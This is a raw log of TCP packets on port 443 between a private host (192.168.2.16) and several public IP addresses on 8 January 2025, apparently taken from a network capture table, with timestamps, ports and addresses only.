Jan 8, 2025 15:44:41.081607103 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.081774950 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.081828117 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.081835032 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.082650900 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.082711935 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.082719088 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.082757950 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.082760096 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.082768917 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.082799911 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.082809925 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.082859039 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.083651066 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.083702087 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.087201118 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.131589890 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.131668091 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.131721973 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.131730080 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.131742954 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.131786108 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.131789923 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.132363081 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.132404089 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.132421970 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.132431030 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.132479906 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.132483959 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.132524967 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.132566929 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.132642984 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.132658958 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.169218063 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.169295073 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.169354916 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.169364929 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.169375896 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.169420004 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.169430017 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.170249939 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.170284033 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.170300961 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.170310974 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.170353889 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.170886993 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.174391985 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.174416065 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174417019 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.174441099 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.174448013 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.174499035 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174503088 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.174520969 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174530983 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.174544096 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174561977 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174576044 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.174583912 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174616098 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174624920 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.174633026 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174679041 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.174701929 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174778938 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.174824953 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.175519943 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.175528049 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.204266071 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.204356909 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.204417944 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.204477072 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.204914093 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.204977989 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.205128908 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.205202103 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.205316067 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.205368042 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.205976009 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.206037045 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.206150055 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.206176996 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.206201077 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.206208944 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.206226110 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.206253052 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.206954956 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.207000017 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.207010984 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.207020044 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.207046032 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.207070112 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.207958937 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.207995892 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.208013058 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.208018064 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.208026886 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.208039999 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.208065033 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.208070040 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.208089113 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.208990097 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.209023952 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.209036112 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.209055901 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.209103107 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.209115982 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.209120989 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.209157944 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.209181070 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.248881102 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.248950958 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.249192953 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.249237061 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.249454975 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.249505043 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.249733925 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.249782085 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.249888897 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.249943018 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.249974012 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.250025034 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.250499010 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.250560045 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.250601053 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.250644922 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.250694036 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.250747919 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.251441956 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.251501083 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.251557112 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.251602888 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.251648903 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.251688004 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.251688004 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.251698971 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.251727104 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.252593040 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.252628088 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.252649069 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.252659082 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.252676964 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.254133940 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.254200935 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.254211903 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.254244089 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.258981943 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259056091 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259089947 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259098053 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.259114027 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259144068 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259145021 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.259152889 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259186983 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.259192944 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259735107 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259761095 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259784937 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.259788036 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259804010 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.259824991 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.264203072 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.264653921 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.264667988 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.265018940 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.265438080 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.265501022 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.265682936 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.267209053 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267255068 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267292023 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267309904 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.267328024 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267355919 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267364979 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.267371893 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267399073 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267415047 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.267419100 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.267463923 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.267702103 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.290412903 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.290687084 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.290699959 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.291007996 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.291325092 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.291397095 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.291455030 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.293488979 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.293556929 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.293570042 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.293580055 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.293603897 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.293627977 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.293675900 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.294032097 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.294047117 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.294469118 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.294517994 CET	443	49789	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.294585943 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.295624018 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.295640945 CET	443	49789	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.299042940 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.299079895 CET	443	49790	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.299150944 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.299452066 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.299465895 CET	443	49790	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.310225964 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.310244083 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.310281038 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.311342001 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.339335918 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.357254028 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.387878895 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.388227940 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.388248920 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.389497042 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.389571905 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390157938 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390175104 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390218973 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.390289068 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390297890 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.390336037 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390351057 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390768051 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.390796900 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.390868902 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.391082048 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.391093016 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.393688917 CET	443	49788	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.393946886 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.393963099 CET	443	49788	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.395174026 CET	443	49788	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.395267963 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.395587921 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.395587921 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.395632982 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.395663023 CET	443	49788	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.395720959 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.395910978 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.395942926 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.396002054 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.396198988 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.396210909 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.435712099 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.435815096 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.435842037 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.435868979 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.435873985 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.435890913 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.435903072 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.436650038 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.436676979 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.436691046 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.436696053 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.436733961 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.436738968 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437146902 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437184095 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437194109 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.437197924 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437235117 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437242031 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.437246084 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437272072 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437285900 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.437290907 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.437333107 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.438079119 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.438112020 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.438143015 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.438148022 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.438179970 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.438194990 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.438910961 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.438967943 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.438972950 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.438982010 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.439013958 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.439199924 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.439204931 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.439708948 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.439742088 CET	443	49793	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.439804077 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.440479040 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.440490961 CET	443	49793	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.442892075 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.442905903 CET	443	49794	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.442980051 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.443382978 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.443392038 CET	443	49794	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.536365986 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.536729097 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.536760092 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.536792040 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.536794901 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.536803961 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.536839008 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.537236929 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.537285089 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.537446976 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.537488937 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.537520885 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.537523985 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.537528992 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.537564039 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.538048029 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.580219984 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.580231905 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623011112 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623051882 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623076916 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.623085976 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623121977 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.623126030 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623166084 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623192072 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623204947 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.623214960 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623249054 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.623253107 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623298883 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623334885 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.623337984 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.623992920 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.624042034 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.624046087 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.676223040 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.747750998 CET	443	49789	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.748054981 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.748081923 CET	443	49789	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.749335051 CET	443	49789	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.749408960 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.749862909 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.749875069 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.749939919 CET	49789	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.749943018 CET	443	49789	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.750000000 CET	49789	443	192.168.2.16	104.21.28.45
